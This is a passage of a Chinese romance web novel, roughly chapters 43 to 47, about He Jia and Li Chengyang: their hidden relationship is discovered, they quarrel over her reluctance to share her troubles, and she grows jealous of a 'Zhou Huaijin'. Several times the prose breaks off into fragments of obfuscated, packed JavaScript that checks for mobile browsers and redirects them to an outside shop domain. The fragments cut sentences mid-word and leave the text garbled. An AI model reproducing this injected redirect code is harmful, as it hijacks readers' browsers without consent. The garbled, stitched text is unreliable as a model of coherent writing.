何嘉一听这话,十分震惊地看着他。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17373740|197793||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 这人,理解能力真够可以。 “哈哈,也行,谢谢老板。”她憋了半天憋了这么一句。 他们在张壅的困惑中走上二楼,何嘉非常迅速地把他推进房间,脚一勾带上房门,隔绝了外面的危险。 “你干嘛呢?”何嘉叉着手问他,“你干嘛这个时候就进来?你还问我要不要帮忙,你自己想想你平时会问这些吗?” 李成杨不明所以:“不是你说你先进来,我再进来吗?我看你进来好久了,就以为时间差不多了。” “那你后面又干嘛说要帮我搬东西?” “不是你一直看着我吗?我以为你的意思是,要我快点上去,这样张壅就不会再问什么了。” 何嘉苦笑:“这样太明显了,他肯定察觉到什么了呀。” 他想想也是:“那怎么办?” “你说怎么办嘛?”她戳了戳他的脸,语气不快:“你怎么老理解错我的意思?你是不是故意的?” “我故意?”他也戳戳她的脸颊,“我不都说听你的了?我那是真的理解错了,你谅解一下。” “算了。”何嘉转头指着床上的被子,“你帮我把这个带下去吧,有点重我拿不了。” “你确定?哪有老板给员工拿被子的?” 她“哼”了一声,“你刚才不是说给我搬东西吗?等会儿要是什么都没拿,岂不是更奇怪了?” “行。我给你拿,你自己觉得可以就行。” 李成杨说完就抱起那床被子,鼻尖闻到上面还带着何嘉身上的香气。 他凑上去闻了闻,果然是那股清新的兰花香。 这个味道,早在他发觉自己对她的心意之前,就已经在他的脑海里稳稳扎根。 忍不住又闻了闻,将香气全都吸进胸腔里。 何嘉看到他的动作,脸上害臊,“你干嘛你干嘛你干嘛?” 他很诚实:“闻一闻你的味道。” “哪有你这样的?你闻人家被子,你羞不羞?” “你别说你没闻过啊。”他朝她挑眉,刻意说明:“就我回错屋那天,你没闻?” “我……”何嘉想到那个晚上,突然面色涨红,“我才,才没有呢!谁会做这样的事情?” “谁知道呢?毕竟某些人自己说过,早就对我,心怀不轨。” 她着急了,有些磕磕绊绊地否认:“我没有,我,我根本就没做过那样的事情。” “哦?是吗?”他凑到她面前,有些欠揍地说:“没有就好,不然……谁知道你会不会对我的被子又亲又抱。” “李成杨!!”何嘉红着耳朵在他胸前捶了一拳,实在没想到他能说出这种话。 但这种话,恰好就打在她心上,这个心,叫心虚。 因为她那天,真的就是抱着他的被子睡觉的。 上面可是有他的味道,让她怎么能像往常一样平静地睡去呢。 “噗哈哈哈——” 李成杨被她恼怒的样子逗笑,眼睛弯成两个月牙,露出一对深刻的酒窝,锋利的五官也染上一层柔和,整个人都神采奕奕、肆意昂扬。 这是何嘉从来都没有见过的笑容。 尽管他平时也会笑,但是从来不会笑得这么开心。就在这一瞬,她突然想到,如果他的少年时代是快乐的,没有那些不好的事情的话,会不会也会这么开怀大笑? 会不会也和现在一样,成为太阳? 那么她心里那一点羞恼,顿时就变成了一块柔软的棉花糖。 她看着他大笑的样子没了脾气,反而软声软气地对他说:“李成杨,你可以不可以低一下头嘛?” 他还在笑,但是听话地弯腰,将脸停在她面前问:“怎么?要打我啊?” 何嘉咬咬了下唇,眼神盯着他的嘴唇一动不动。 直到空气变得静悄悄的时候,她小声说:“因为我现在想,亲亲你。” 44. 第44章 “亲吧。” 他垂眸,睫毛正轻轻颤动,看见她脸上的绒毛在光线下细微地发光。 小姑娘缓缓朝他靠近,呼吸打在他的鼻尖,他又闻到属于她的香味。 气氛一点一点变热,她试探着去看他的眼神,他却对上她的视线,带着蛊惑的意味说:“看什么?不是你说要亲我?” 她下意识吞咽,喉间细微滑动,而后抿抿嘴唇,再次靠近他。 呼吸交缠在一起,两颗心同频共振。 她的手攀上了他的后颈,冰凉的之间擦过他的一寸皮肤,他不自觉颤了一下,仍保持着原来的动作没动。 是她说要亲他的,那就要她主动。 只剩半厘米,他们的鼻尖几乎碰在一起。 他忽地弯唇,闭上眼睛—— “杨哥你在里面吗?!你的车要被拖走了!!!” 就在正要触碰到的瞬间,门外突然响起这么一句。 是张壅站在门外。 何嘉立马弹开,像只受惊的麻雀一样看向门外,神情紧张又警惕。 李成杨“啧”了一声,烦躁地走向门口,支了一道门缝,朝外问:“我不都停在线里面了?还拖什么?” 张壅的视线扫过室内二人,只说:“门口现在好像不让停,要不你下去看看?” 他不耐烦,摸了钥匙丢给张壅,“帮我开到旁边,我现在忙着给何嘉收被子。” 张壅接过,朝他八卦地笑了笑,没再说什么。 等他走了,李成杨把手上的被子扔在床上,回头看见何嘉还站在原地,神色慌张。 “吓到了?”他坐在床上朝她展开双臂,“过来。” 何嘉慢慢向他移动,趴在他怀里的时候一句话也不说。 他安慰她:“没事,他不知道我们在干什么。” 真的吗? 门缝还没来得及关上,她甚至可以听见张壅在楼下和交警交涉的声音。 一个说:“不好意思啊,马上开走。” 一个说:“快点快点,以后再停直接拉走。” 窗外汽车启动的声音传入室内,随后是好几辆自行车驶过,发出车铃的警告声。 一切都很嘈杂,而他们如此寂静。 何嘉听着这些声音,蓦地抬起头,没给李成杨任何预告就重重地咬上他的唇瓣,就像刚才那样用手圈住他的脖子,整个人挂在他身上。 李成杨被她的力气咬痛,一边回应她的吻,一边揽住她的腰。 何嘉不断啃咬他的嘴唇,比起情欲更像是在发泄刚才的紧张,她完全不给他喘息的机会,就这么毫无章法地在他唇上放肆。 这么粗暴的方式,他还是第一次见。 但莫名,就让他感觉眼前一亮。 等她发泄够了,他才低声问她:“亲够了?” 她安静良久,最后红着脸埋在他颈间,说了一句让他饶有兴味的话。 “成杨哥哥……我们这样,好像偷情啊。” “是么?那就再偷两分钟。” 说完,李成杨的吻就密密麻麻落下。 他吻遍她的脸颊,从额头到眼睛,接着是鼻梁,最后是嘴巴。 何嘉很喜欢他的触碰,每一秒都觉得享受。 “喜欢你。”他在她耳边呢喃。 “什么?” “喜欢你。” 他的吻辗转到她的颈间,忍不住将毛衣拉开一些,吻上了她的肩膀。 女孩轻轻颤栗,肩上一阵酥痒,害她打了个激灵,连忙推开他说:“好痒。” “嗯,那不亲这里了。”他替她理好毛衣,又吻了吻她的耳垂,留下一句:“喜欢你。” 他的嗓音低沉,平时说话总让人感到平静,但此刻却如诱哄一样,让她心尖泛起涟漪,一下又一下地啃噬她的神经。 她的心河,早已为他波澜壮阔。 “李成杨,你喜欢我吗?” “喜欢。” 他看着她的眼睛一字一句:“喜欢你,喜欢嘉嘉,喜欢乖乖。” 何嘉心脏猛跳,闻到他身上散发着一股果子成熟的魅力。 像是荷尔蒙却又有点差别,总之让她神志迷离,一下子咬上的他的喉结。 那块皮肤传来细密的酥麻,让李成杨呼吸乱了好几拍,可女孩仍不放过那个位置,在上面轻舔慢碾,舌尖有意无意滑过,让他产生一种难以遏制的欲望。 她记得他说过,不要她触碰他的喉结。 可她说不出为什么,就想在上面煽风点火,就想要这么招惹他,以此证明他现在完全属于她。 她身体燥热,手也开始不安分。 这次目的性极强,顺着他的腰直勾勾地摸下去。 一丛火焰,隔着布料都温度灼热。 “乖乖。”他的眼神暗了。 她还想放肆,可他不给她机会,一下抓住她的手心,小声提醒:“不可以。” “不可以吗?”她想挣开他,却被他反身抱在怀里。 “成杨哥哥,我看不到你了。”她闷闷不乐。 “那就别看。”他态度强硬。 “好吧,那你还好吗?” “什么?” “就是,那里烫……你没事吗?” 他没回答,就这么静静地抱着她,直到呼吸渐渐平稳下来才告诉她:“没事。以后都不可以摸。” “可是,我刚才也没有怎么摸到。” 他好笑:“你一天到底都在想什么?我真想打开你脑子看一看。” 她不好意思了,“我没有想什么的。” “嗯,少想,听见没?” “听见了……” 两个人又在床上坐了好一阵,等楼下传来张壅的脚步声,何嘉才提醒他:“壅哥要回来了。” 李成杨知道怕她不自在,主动安抚道:“等会儿下去别怕,他不会发现什么的。” “好。那我们下去吧?” “走吧,我给你拿被子。” 何嘉走在前面,李成杨跟在她身后隔了好远。 刚到一楼的时候,张壅正好停车回来,他先看了眼何嘉,又看了看她身后的李成杨。 本来想保持安静,但看到他们刻意保持距离,一下子来了兴致。 “哎,你们俩。” 何嘉和李成杨同时看向他。 他已经坐回吧台,撑着脑袋朝他们微笑。 空气霎时凝固,三个人各怀心思。 过了半晌,张壅很自然地开口:“你俩什么时候在一起的?” 何嘉瞪大双眼,吃惊地盯着他。 李成杨站在原地不说话,看不出表情。 “你,你,你……”何嘉看着张壅说不出话,想糊弄却又一时间想不到有用的话术。 他微眯双眼,指了指她又指了指李成杨,“你俩,太明显了。而且,不知道你们在上面干啥,还需要关个门哈。” “咳。”李成杨睨他一眼,“别乱想。” 他笑了:“我乱想啥了?我有说什么吗?还是你俩心虚了?亲那么久该亲完了吧?” “啧。”李成杨用桌上的纸巾砸他,警告他:“闭嘴。” 而何嘉站在那里,一时间觉得头晕目眩。 “你,你怎么知道的?!” “大惊小怪。”张壅把纸巾扔回桌子,语气随意:“你们要想藏着就努力一点,别站在一起就跟有鬼一样,我又不是瞎子。” 何嘉哑口无言,他说的也有道理,刚才他们好像确实很不自然。 “所以你们什么时候在一起的?”他又问。 何嘉看向李成杨,而他也看向她。 要说吗? 两个人视线互相试探。 还没看出个所以然,大门又被推开,这次走进来的是张姨和蒋姨,她们一手提一袋鸡蛋,别提有多开心。 张姨先看见何嘉,将一提鸡蛋拿到她面前,“小嘉回来啦?都有一阵没看见你啦,你看今天领的鸡蛋,你拿一袋去!” “张姨不用的不用的。”何嘉摇头,“我今天是回来收拾东西的,鸡蛋您留着自己吃呀。” “那好那好。东西都收好了吗?”张姨看她手上提了两袋东西,身后还站了个李成杨。关系是后面这位还抱了一床被子。 不等何嘉回答,张姨就和李成杨对视一眼。 两人虽然没说话,但她像是明白什么一样,点着头说:“好好,东西都收好了,那就好啊。后面房子也找到了吧?” “找到了。”何嘉没敢说是李成杨家里,只含糊:“后面都打点好了,今天就可以过去住了。” 张姨很欣慰:“那就不担心了,小嘉你照顾好自己啊,有空就让成杨送你过来吃饭啊,我们都在这里的。” “啊?” “哎?你们不是搞对象吗?送一下就顺手的事情嘛。” “……” 这话一出,在场的几个人,包括张壅,跟着一起陷入沉默。 已经数不清是今天的几次诡谲气氛。 张壅忍了几秒,实在没忍住“噗嗤”笑了出来,“卧槽哈哈哈,你俩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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何嘉保证:“壅哥你放心,我绝对不会告诉他的。” “真的?”他半信半疑,“你俩一条船上的,万一把我卖了怎么办?” “不会的,我真的不会。” “那好吧。我就实话告诉你吧,钓鱼那天你不是和舒舒骑马吗,他其实一直在看你,但是后面我们聊了一会儿,他就不敢看了。” “你们聊了什么?” 张壅记得十分清晰,“我问他是不是对你有想法,但他不承认,当时他可能觉得你们差距太大了吧,也许也不想耽误你,但是那会儿我就知道,他肯定就是对你有想法了。” “原来真的是那天。”何嘉想到他偷偷保存的那张照片,正是那天拍的。 可她同时很疑惑,“那他后来还拒绝我,让我难过了好多天呢。” 他毫不意外,“所以我之前就告诉你了啊,杨哥没有你聪明。” “好吧,反正这些都不重要啦,我们现在挺好的。” “行吧。”他对他们之间的事没了兴趣,只想知道:“你们在一起就在一起呗,刚才干嘛装什么都没发生一样?想瞒谁?” “不是,不是瞒谁。”她抠了抠脸颊,“就是,我觉得有点迅速,不好意思告诉大家。” “那有啥?喜欢就在一起,时间不是问题。” “真的吗?我有点不确定。” “不确定什么?不要不确定,你要自信。你这话别在杨哥面前说啊,说了你俩又要闹别扭。” 何嘉点点头,觉得也是。 “行了,不说了,你快上去看看吧,免得杨哥回来又说我问东问西的。” “好,我现在去。” 回到那间小房间,属于她的物品已经被清空,她转了好几圈,确定已经不剩什么东西,除了桌子里的某样物品。 何嘉熟练地打开桌子上的抽屉,里面躺着那片写有他名字的落叶。 她本来打算后面让他自己发现的,但想起他最近应该不会住这里,又将它拿出来,在手上把玩一会儿。 视线无意落在上次见过的那份文件上。 寄件人叫“周怀瑾”。一个很好听的名字,不知道和李成杨是什么关系。 “是亲戚吗?还是朋友?为什么不拆开呢?” 她想不出答案,打算等下次有空的时候再问问他。 45. 第45章 说是要问问那个文件的事情,后来也没找着机会。 何嘉这几个月找了个实习,在余川三中当助教老师。 每天早六晚十,不是在听课备课的路上,就是在监督晚自习的路上,有时候还要帮带教老师写教案,批作业,各种脏活累活一应俱全。 偏偏忙完这些又要忙考研复试,还有一堆论文要修。然而完成这一系列任务之后,五月下旬的毕业答辩又迫在眉睫。 她的时间完全被这些事占满,根本没有精力去管李成杨最近在做什么。毕竟,她有时候根本忙得不着家。 李成杨一开始会等她回家吃饭,但天气暖了工作也越来越忙,每天在派件取件的路上越走越远,回家的时间甚至比她还要晚。 两人最后达成协议,以后各自在外面吃饭,回家就直接休息,不用专门等对方。 但这也导致一个问题,虽然两人都同住一个屋檐下,但几乎很少见面,这和何嘉原先预料的完全不一样。 本该是热恋期黏在一起的时候,他们竟然像是回到了原来独自一人的生活,甚至还不如在饭店相处的时候呢。 对此,李成杨感觉十分不对劲。 这天何嘉下班回来又超过了十点钟。 李成杨坐在沙发上等她,决定和她好好聊一下这个问题。 但她脑子里还萦绕着批改试卷时,学生答出来的奇葩答案。 比如:明长城是由秦始皇所建、洪秀全发动了洋务运动、林则徐火烧圆明园…… ?? 每一条答案都让她怀疑,以后选择成为老师是不是要被气成脑血栓,要不然就是精神状态十分美丽。 “唉。”何嘉叹了一口气,将挎包放在衣架上的时候神色凝重。 李成杨出声:“嘉嘉,回来了?” 她吓了一跳,这才发现还有人坐在客厅里。 “你还没睡觉吗?”她走到他身边问他:“不是说好不用等人吗?你忙了一天该早点休息。” 李成杨想拉她的手,但距离不够。 “嘉嘉,过来点。” 她朝他移动了一步,但不像之前一样和他凑近。 他看着她的样子,心里莫名有种说不出的失落。 短短三个月,小姑娘就跟他不亲了。他们还没怎么恋爱呢,就跟他不亲了。 何嘉盯着他,不知道他在想什么。 “怎么了吗?你今天有话要跟我讲吗?” “你可以坐过来吗?你站着干嘛?”他指了指自己身边的位置。 她照做,但依旧没有太大的情绪,只是不断问他:“你要说什么吗?还是怎么了呀?” 李成杨把她抱在怀里,语气有点委屈,“嘉嘉,我们这段时间是不是太久没见面了。” 她不认同:“见了呀,我们出门的时候不是见过面?” “不是。我是说,我们有一段时间没有坐下来像这样聊天了。” 何嘉想想,好像确实是这样。从安城回来之后,他们每天都各忙各的,正经聊天除了他表白那天,之后就再也没有过了。 她原本觉得,住在一起之后可以和他更亲近,但现在看来计划赶不上变化,分身乏术的同时,渐渐忽视了他们还处在恋爱初期。 “李成杨,你是不是觉得我冷落你了?” 何嘉拉着他的手,很严肃地解释:“我这几个月有点太忙了,学校里的事情很多,等下还要忙毕业答辩,我感觉时间有点不够了。” “不是你冷落我。”他觉得这不是重点,“我这段时间工作也忙,快递那边弄完还要回店里,没有多少待在家里的时间,所以不是你冷落我,我也没有做的多好。只是,我觉得我们这么相处是不是有点生疏了?” “好像是的。”她点头,不知怎么又想到一句:“但是,我们好像本来也没有多熟?” “嗯?” 李成杨听到这句话之后,一阵奇异的失落从脚尖盘上心脏。 他仔细想想,这段时间他不止一次感觉到她心情不好,但她从来都不跟他说,问了也只是说没事,学校的事情而已。 “我们不熟吗?我以为我们已经很熟了。”他这么试探一句。 得到的答案是:“我不是说我们不熟,我的意思是,我们好像也没有那么那么那么熟。” 这话还不如不解释。 怎么听都让人不舒服。 “嘉嘉。”李成杨将她放在沙发上,突然有点严肃,“这不是熟不熟的问题,你好好想想可以吗,这段时间我有问过你工作上的事情,但你好像从来没和我说过,我希望我们可以有更多的交流。” 何嘉不理解:“可是那是工作上的事情,我不想带回家里。” “但是我感觉到你不高兴。” 她还是不理解:“工作上的不高兴是工作上的,我不想让你听我的负面情绪,不高兴的事就让它留在学校就好了。” 李成杨陷入沉默,忽然发现这几个月他们除了不经常见面之外,还有一个问题,就是她似乎没有真正信任他,也没有想过要对他敞开心扉。 这让他有点受伤。 但他试着努力告诉她:“嘉嘉,我现在是你对象,你可以跟我分享你的事情,不管是高兴的还是不高兴,都可以的。而且你不需要想着会不会影响到我,反而你什么都不跟我说让我觉得有点……被排除在外。” 她盯着他,表情和刚才一样平静。 内心却在不停思考:是我做错什么了吗?我这样让他不舒服了吗?可是我以前一直是这样的。 想不到答案,她感到有点不知所措,语气开始不安:“我没有把你排除在外,我只是觉得那些事没有必要告诉你。是我做错了吗?让你不开心了吗?” “不是,不是。” 怎么会是她做错了呢? 这句话,就像从前钓鱼的时候,她问他:你心情不好,是我让你不开心了吗? 凡事她都习惯先找自己的问题,一遍又一遍确认不是自己的错处,否则一刻也不能安心。 可这样一点都不好,这样让他心尖泛酸,甚至是心疼。 李成杨一直摇头,抓着她的手说:“不是你做错了。嘉嘉,不是你的问题。是我想要更了解你,是我想知道你的事情。这不是你的问题。” 可何嘉还是担忧地看着他:“我,我真的觉得那些事情不重要,不需要跟你说,我也不想让你担心,如果我让你不高兴了,对不起。” “不要说对不起。”他一遍又一遍重复:“不要说对不起,你没有什么对不起的。” 她迷茫地看着他,一直在观察他的表情,觉得自己应该说些别的什么,但又不知道说什么好。 想了半天,最后只说了一句:“李成杨,之前没有你的时候,我也是这样的。我真的觉得没有必要说那些事情,我能处理好自己的事情。 而且我觉得大家的事情都应该有一个边界,不需要打扰到别人。” ——没有你的时候。 ——没有必要。 ——边界。 ——别人。 这句话的每个字都砸在他心上,他难以置信地盯着她,想要在她脸上找到一点犹豫的神情。 但她看上去十分认真。 每个字都是她斟酌之后才说出来的。 那么对她而言,他还只是别人? 所以他现在存在在她身边 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17382102|197793||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,也等同于没有他的时候。 他心脏一瞬间发麻。 他知道是自己有点着急了,但是那种落寞夹杂着酸痛,让他一下子失去力气。 他看着她一句话也说不出,他不知道自己还能说什么来证明自己不是“别人”。 何嘉还在等他回答,可他的表情凝固在原地,让她更加不安,“李成杨,是我说错话了吗?” 她又这样问他。 “没有。”他这么回答了一句。 室内安静下来,他们虽然互相对视,可李成杨却觉得,自己现在离她好远。 “嘉嘉,我是别人吗?” 何嘉这才察觉自己刚才用词不妥,“不是的,你当然不是别人。” 他却觉得怎么解释都有点无力,“那你可以真正告诉我,你为什么不愿意跟我说你的事情吗?” “我没有不愿意跟你说,我是真的觉得不用说。李成杨,你不要误会我,你当然对我很重要,你不是别人。” 不用说。 还是这句。 李成杨沉默地注视她,好像找不到一个合理的方式来解决这个问题。 无论他问多少遍,她都会这么回答。 时间一分一秒流逝,何嘉感觉自己现在好像在被审视,这样让她一点都不自在,甚至有点想逃走。 她实在不知道今天到底是怎么了。 她不明白,好不容易可以说几句话,为什么大家突然就不开心了。 墙上的时钟又划过几段距离,何嘉的手机传来一阵铃声。 她迅速将它关掉,看到时间已经到了十点半。她应该准备明天的教案了。 李成杨看了眼她的手机,“教案”两个字被加上着重符。 他没有继续聊天的意思,侧过身给她让路,“去吧,准备完早点休息。” “好。”她拿起手机就走,关上卧室的时候又看了眼他的背影。 他立在原地,一个字也没有说。 何嘉坐在卧室里越来越忐忑,连看书的心思都没有了。 我到底做错什么了吗? 可是那是我的事情,也要告诉他吗? 他为什么要那样看我? 他对我失望了吗? 一连串的问题,压得她有些喘不过气。 再瞥一眼时间,已经晚上十一点,她必须要准备教案了。 第二天,六点半的闹钟准时响起。 何嘉提前半个小时小时就醒了,因为她怀疑自己根本没有睡着。 昨天晚上的事情一直萦绕在她心中,她有无数个问题,想过无数个结果,最后落到一个问题上:李成杨以后会不会要和她分手? 被这个问题吓了一跳,她立马从床上爬起来,拖鞋都来不及穿,直接走向书房。 李成杨晚上睡觉没有关门的习惯,现在她站在门口就能看到床上的人影。 他还在熟睡。 何嘉一直看着他的样子,忽地自我回答了刚才那个问题。 就算要分手的话,也很正常吧?不是每一对情侣都能走到最后的。 只是现在,她不想和他分手,因为她真的很喜欢他。 就想到这里,何嘉退回房间,踩了拖鞋之后开始洗漱,一连串动作连十分钟都没花到。 她今天走得很早,正好和李成杨错开,等她在楼下搭车的时候,他才刚醒来。 他在屋子里环视一圈都没有发现她的身影,有点纳闷,平时她不会走这么早啊? 忽地想起昨晚的对话,难道是因为那件事情吗? 果然还是他太急了,他应该再给她一点时间。 懊恼地叹了一口气,他有点后悔。 46. 第46章 接下来一整天,何嘉都心情不佳,再加上带教老师叫她去替监考,到晚上的时候已经累得头晕脑胀。 好不容易到了吃完饭的时候,又有几个老教师让她过去准备阅卷,她就是有十只手都不够忙的。 她一边阅卷一边感叹人生:师范生是什么很命苦的人吗?不然怎么包揽了所有的dirtywork,还要准备各种教研,甚至加上公开课…… 批完最后一张卷子,食堂已经没饭了。 何嘉只好走回教室,距离晚自习的时间还有两分钟。 两个同学站在前门聊天,见到她的时候很主动地打招呼:“小何老师好!” 何嘉纠正:“不要叫我‘小何老师’,叫何老师就好了。” 他们却无所谓:“老师你看上去就很年轻,叫你小何比较可爱。” 呵呵,当老师最不需要被称赞的就是可爱。 她自诩平时上课的时候挺有威严的,怎么还有学生喜欢跟她开玩笑。 “别乱叫啊,上自习了,快点回去。” 何嘉指着他们的位置,不忘威胁:“做自己的事,不要交头接耳,闲的话过来领卷子。” 那两个同学朝她吐舌头,但还是照做。 她坐回讲台,开始修改明天的教案。 但不知道怎么回事,李成杨昨天说的话一直回荡在她耳边。 她无法忘记他当时沉默的表情。 所以,她到底做错什么了? 手中的红笔在教案上戳了好几笔,她的眉头越皱越深,完全没心思工作。 好在有个同学拿着卷子来找她问问题。 她收起情绪,将题目完全讲解一遍,那个同学却在途中打断她:“何老师,你今天不舒服吗?” “嗯?怎么问这个问题?” “因为你从刚才开始就一直皱眉,脸色也不好。” 她摇头说不是,不愿意透露更多的信息。 下自习之后,何嘉磨磨蹭蹭,刻意将回家的时间延迟,就是不想面对李成杨。 足足比平时晚了二十分钟,她站在楼梯间等电梯。 上楼之前看了眼信息,某人一条消息也没有发。 她多少觉得奇怪,平时他每天都会问的,难道是昨天的事情真的让他不高兴了? 带着这样的疑问,她站在家门口,做了好大一番思想工作之后才开门,可是室内一片漆黑,根本没有一个人的影子。 她猜测他已经睡去,于是蹑手蹑脚地走到书房,却发现被窝是空的。 也就是说,他根本没回来。 何嘉愣在原地,突然红了眼眶。 她冲进卧室用被子裹住自己,眼泪一下子就止不住了。 李成杨生气了,李成杨都不回来了。 是我让李成杨生气的。 她越哭越大声,一边念着李成杨的名字一边觉得好饿。 她怎么那么倒霉啊。 哭了好一阵,连翻开冰箱的力气都没有了,她又跑进李成杨的书房,在他的床上躺着。 她不断嗅闻他的味道,想要以此来削弱自己的不安。可是那种不安全感就像洪水一样淹没她,让她整个人根本没有办法冷静下来。 她想现在就打个电话问他怎么没回来,但她又不敢,万一他真的生气了呢? 万一他不喜欢她了呢? 她就这么躺着,直到哭累了,她才坐到他的书桌前发呆。 这个房间到处都是李成杨的影子,但他却不在。 她左看看右看看,在桌上的一摞文件里看到一张照片,只露出一个角,角边已经有点泛黄。 怀着好奇又害怕的心情,何嘉将它小心翼翼地抽出来。 这确实是李成杨的照片。 二十多岁的年纪,身穿一身黄领学士服,头上的学士帽戴得一丝不苟。 青年的五官和现在几乎没有差别,一样锋利英俊,只是那时的他面无表情,看上去就像是被迫站在学校门口拍照一样。 何嘉轻轻抚过他的面颊,心里又酸又疼。 这个老头,今天为什么不回来? 她叹了一口气,将照片翻转一面,白底上写着一排清清楚楚的文字。 2008年6月13日,周怀瑾摄。 周怀瑾? 周怀瑾? 这个名字,她不止看到过一次,她清晰地记得,饭店二楼的那个抽屉里,躺着这个人寄给李成杨的文件。 所以这个“周怀瑾”到底是谁? 是谁能和李成杨这么亲密? 甚至还要给他拍照片? 一个想法一闪而过。 何嘉倏然想到三个字:前女友。 是他的前女友吗? 是李成杨的前女友。 何嘉很快就接受了这个想法,然后拿着这张照片又哭了起来。 李成杨的前女友…… 她越哭越猛,索性直接钻进李成杨的被子里哭。 一边哭一边看那张照片,最后觉得心烦,又爬起来放回书桌再继续哭。 这次她用李成杨的被子裹住自己,将身体蜷缩成一个团,被窝里回荡着她颤抖的哭声—— “李成杨呜呜呜,李成杨你怎么不回来?李成杨我好想你呜呜呜呜,李成杨我好饿呜呜呜呜呜……” 此时玄关传来开门的声音,书房里的姑娘哭得太投入,根本没有听见。 李成杨一回家就听见这阵哭声,感到很诧异,快着步子往里走,发现他的房间不知什么时候多了一个躺着的团子,上面还裹着他的被子。 一边说想他,一边说好饿。 他朝那个团子走进,有点迟疑地喊了一声:“嘉嘉?” 团子立马打住哭声,吸了吸鼻涕,没了动静。 他确定,何嘉就在里面。 “你怎么了?” 他试着拉开她身上的被子,只见小姑娘脸上全是泪痕,此刻正呆呆地望着他。 “李成杨……?” 他替她擦掉眼泪,又问了一遍:“怎么了?发生什么了?” 何嘉听他这么问又忍不住想哭,一下环住他的脖子,把泪水全都擦在他身上。 “你怎么才回来啊?呜呜呜你怎么才回来。” 李成杨轻拍她的背,语气温和:“今天下班晚,我又回了趟饭店,就晚了。” 她抽泣两下,又问:“那你今天怎么不给我发消息?” 他很无辜地说:“我发了。” “没有,没有,没有。” 他拿出手机给她看,十点的时候他真的发了一句【回家了吗?】。 那她怎么没看见? 何嘉摸出自己的手机,看到微信上并没有他的消息。 “没有,你看。” 李成杨接过一看,发现她现在这个号是工作微信。 “你自己看看你用的哪个号?” 她拿着一看,突然想起自己确实没有切换账号。 切回原来的头像,一条醒目的红点停在聊天框,正是那句【你回家了吗?】。 “哦,你发了。”她止住泪意,在他脖子上蹭了蹭。 他的体温传到她身上,让她渐渐变得安定。 李成杨放下手机,问她:“今天哭什么?就因为这个?” 她才不想告诉他原因呢,自己竟然因为他没回家就哭了。 还有那个什么“周怀瑾”,她也不想告诉他。 所以她只回答:“我一个人害怕,然后又好饿,就有点崩溃了。” “别怕。”他不断抚摸她的背脊,安抚她:“我以后尽量早点回,你别怕。饿了的话我现在给你做点吃的。” “我不吃,我不饿了,你在这里陪我好不好?” 李成杨说:“你刚才不是说饿了吗?我去做一点,马上回来陪你。” “不要,不要走!” 何嘉抓着他不撒手,眼睛眨了眨,湿漉漉地请求他:“李成杨,你亲亲我好不好?你快点亲亲我。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“你的一切都让我喜欢。”他坐在她身边,很诚恳地看着她的眼睛,“你的坦率、勇敢、独立、乐观和你的每一种情绪,只要是你,我都喜欢。” “何嘉,我喜欢的只会是你,无论是什么样子。” 可是何嘉现在偏偏不想听他这样回答。 他喜欢的何嘉,都太正面了。 正面到就像一个假人,是人怎么可以那么完美?没有人能一直保持那些品质。 如果他有一天知道,她就是那么敏感,那么焦虑,那么容易多想,那么容易不安,那么容易犯别扭的人呢? 他还会这样喜欢她吗? 退一万步,就拿她什么都喜欢憋在心里这一点来说,他还会像原来一样喜欢她吗? “李成杨……”你不知道。 何嘉一滴泪水划过脸颊,很可惜李成杨当时没能理解它的含义。 他以为这话已经安慰到她,接着问了她一句:“你是因为这些才心情不好的吗?是最这段时间我太忙了,让你没有安全感吗?” 她摇头对他撒谎:“不是,是我今天在学校心情不好,还没吃上晚饭,就有点情绪不稳定,和你没有关系。” 学校里? 李成杨想到昨天发生的事,不敢再多问她在学校里的情况,觉得自己还是该给她点时间,等她想说的时候他再听。 “好吧。”他想让她换换心情,提议道:“那我先去给你做点吃的,吃完心情会好一点,就不去想学校的事了,好吗?” “好。”何嘉点点头,想要他先离开这里。 他却追问:“你想吃什么?” “什么都可以。”你快走,别问我了。 “那我给你煮点汤圆,豆沙馅的你喜欢。” “嗯。” 临走前李成杨吻了吻她的脸颊,对她说:“别怕,我很快就回来。” 她就要绷不住情绪,颤着声音催促他:“你快去吧,我好饿,李成杨我好饿,我要吃好多好多汤圆……” 47. 第47章 李成杨果然给她煮了一大碗汤圆,足足十个,吃得她更伤心了。 怎么那么多,怎么那么多啊…… 何嘉可怜巴巴地看着他:“李成杨我吃不完了,你帮我吃一点。” 他把碗拿到自己面前,“剩下的我来解决,你去休息吧。” “嗯。” 何嘉很快离开,像逃一样钻进卧室,顺手带上房门,将他的气息隔绝在外。 李成杨坐在原地,突然感觉哪里不对。 她刚才的样子,分明不是因为饿了才伤心的,也不是因为害怕一个人。 那种失魂落魄的神态,一定是发生了别的事情。 可是那是什么? 是因为他吗? 